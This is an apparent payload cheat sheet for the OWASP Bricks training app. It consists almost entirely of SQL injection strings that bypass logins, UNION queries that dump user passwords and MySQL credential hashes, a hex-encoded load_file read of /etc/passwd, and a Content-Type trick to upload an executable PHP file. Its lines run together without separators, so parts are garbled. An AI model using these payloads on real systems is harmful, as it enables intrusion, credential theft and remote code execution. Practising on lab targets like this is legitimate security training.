any' OR '1'='1SELECT * FROM users WHERE name='aaaaa' and password='' OR '1'='1'any' OR '1'='1SELECT * FROM users WHERE name='aaaaa' and password='' OR '1'='1'any') OR '1'=('1SELECT * FROM users WHERE name=('aaaa') and password=('') OR '1'=('1') LIMIT 0,1any1") or 1=1-- -SQL Query: SELECT * FROM users WHERE name=("1") or 1=1-- -") and password=("1") or 1=1-- -")any1' or 1=1 #SQL Query: SELECT * FROM users WHERE name='1' or 1=1 #' and password = 'ed4fd85ad3da26c458d9263aebd62065'anyany<?php echo phpversion() ?> and upload it/owaspbricks/upload-1/uploads/<filename>.php over the browser, it will display the PHP versionContent-Type: application/x-php in the Request Body can be changed to Content-Type: image/png and resendYou can read any database content using UNION:
- read user passwords
id=1 and 1=2 union select name,password,idusers,4,5,6,7,8 from users where idusers=0 --
- read mysql username and password hash
id=1 and 1=2 union select User(),password,3,4,5,6,7,8 from mysql.user--
- read /etc/passwd
id=1 and 1=2 union select load_file(0x2f6574632f706173737764),2,3,4,5,6,7,8 from mysql.user--
id=1 with user=tom and append -- - at the end